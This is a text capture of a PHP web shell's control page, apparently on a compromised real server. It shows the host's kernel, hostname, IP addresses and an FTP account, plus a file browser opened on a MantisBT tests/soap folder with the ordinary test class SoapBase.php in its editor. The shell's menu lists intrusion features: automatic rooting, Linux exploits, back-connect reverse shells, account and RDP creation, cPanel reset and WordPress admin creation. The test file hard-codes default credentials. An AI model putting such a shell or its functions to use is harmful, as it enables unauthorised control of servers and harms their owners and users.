Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
mantis /
tests /
soap /
[ HOME SHELL ]
Name
Size
Permission
Action
AllTests.php
2.61
KB
-rw-r--r--
AttachmentTest.php
5.03
KB
-rw-r--r--
CategoryTest.php
3.12
KB
-rw-r--r--
CompressionTest.php
1.74
KB
-rw-r--r--
EnumTest.php
9.28
KB
-rw-r--r--
FilterTest.php
8.96
KB
-rw-r--r--
IssueAddTest.php
17.16
KB
-rw-r--r--
IssueMonitorTest.php
5.5
KB
-rw-r--r--
IssueNoteTest.php
6.72
KB
-rw-r--r--
IssueUpdateTest.php
16.66
KB
-rw-r--r--
LoginTest.php
3.99
KB
-rw-r--r--
ProjectTest.php
5.36
KB
-rw-r--r--
RelationshipTest.php
3.87
KB
-rw-r--r--
SoapBase.php
4.96
KB
-rw-r--r--
TagTest.php
5.22
KB
-rw-r--r--
UserTest.php
1.25
KB
-rw-r--r--
VersionTest.php
3.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SoapBase.php
<?php # MantisBT - a php based bugtracking system # MantisBT is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # MantisBT is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with MantisBT. If not, see <http://www.gnu.org/licenses/>. /** * @package Tests * @subpackage UnitTests * @copyright Copyright (C) 2000 - 2002 Kenzaburo Ito - kenito@300baud.org * @copyright Copyright (C) 2002 - 2013 MantisBT Team - mantisbt-dev@lists.sourceforge.net * @link http://www.mantisbt.org */ $t_root_path = dirname( dirname( dirname( __FILE__ ) ) ) . DIRECTORY_SEPARATOR; /** * Test cases for SoapEnum class. */ class SoapBase extends PHPUnit_Framework_TestCase { protected $client; protected $userName = 'administrator'; protected $password = 'root'; protected $email = 'root@localhost'; protected $userId = '1'; protected $mantisPath; private $issueIdsToDelete = array(); private $versionIdsToDelete = array(); private $tagIdsToDelete = array(); private $defaultSoapClientOptions = array( 'trace' => true, 'exceptions' => true, 'cache_wsdl' => WSDL_CACHE_NONE, 'trace' => true ); protected function setUp() { if (!isset($GLOBALS['MANTIS_TESTSUITE_SOAP_ENABLED']) || !$GLOBALS['MANTIS_TESTSUITE_SOAP_ENABLED']) { $this->markTestSkipped( 'The Soap tests are disabled.' ); } $this->client = new SoapClient( $GLOBALS['MANTIS_TESTSUITE_SOAP_HOST'], array_merge($this->defaultSoapClientOptions, $this->extraSoapClientFlags() ) ); $this->mantisPath = substr($GLOBALS['MANTIS_TESTSUITE_SOAP_HOST'], 0, -strlen('api/soap/mantisconnect.php?wsdl')); } /** * @return an array of extra options to be passed to the SoapClient constructor */ protected function extraSoapClientFlags() { return array(); } protected function tearDown() { foreach ( $this->versionIdsToDelete as $versionIdToDelete ) { $this->client->mc_project_version_delete($this->userName, $this->password, $versionIdToDelete); } foreach ( $this->issueIdsToDelete as $issueIdToDelete ) { $this->client->mc_issue_delete( $this->userName, $this->password, $issueIdToDelete); } foreach ( $this->tagIdsToDelete as $tagIdToDelete ) { $this->client->mc_tag_delete ( $this->userName, $this->password, $tagIdToDelete ); } } protected function getProjectId() { return 1; } protected function getCategory() { return 'General'; } protected function skipIfTimeTrackingIsNotEnabled() { $timeTrackingEnabled = $this->client->mc_config_get_string($this->userName, $this->password, 'time_tracking_enabled'); if ( !$timeTrackingEnabled ) { $this->markTestSkipped('Time tracking is not enabled'); } } protected function getIssueToAdd( $testCase ) { return array( 'summary' => $testCase . ': test issue: ' . rand(1, 1000000), 'description' => 'description of test issue.', 'project' => array( 'id' => $this->getProjectId() ), 'category' => $this->getCategory() ); } /** * Registers an issue for deletion after the test method has run * * @param int $issueId * @return void */ protected function deleteAfterRun( $issueId ) { $this->issueIdsToDelete[] = $issueId; } /** * Registers an version for deletion after the test method has run * * @param int $versionId * @return void */ protected function deleteVersionAfterRun( $versionId ) { $this->versionIdsToDelete[] = $versionId; } /** * Registers a tag for deletion after the test method has run * * @param int $tagId * @return void */ protected function deleteTagAfterRun ( $tagId ) { $this->tagIdsToDelete[] = $tagId; } protected function skipIfDueDateIsNotEnabled() { if ( $this->client->mc_config_get_string( $this->userName, $this->password, 'due_date_view_threshold' ) > 90 || $this->client->mc_config_get_string( $this->userName, $this->password, 'due_date_update_threshold' ) > 90 ) { $this->markTestSkipped('Due date thresholds are too high.'); } } protected function skipIfAllowNoCategoryIsDisabled() { if ( $this->client->mc_config_get_string($this->userName, $this->password, 'allow_no_category' ) != true ) { $this->markTestSkipped( 'g_allow_no_category is not ON.' ); } } protected function skipIsZlibIsNotAvailable() { if( !extension_loaded( 'zlib' ) ) { $this->markTestSkipped('zlib extension not found.'); } } }
Close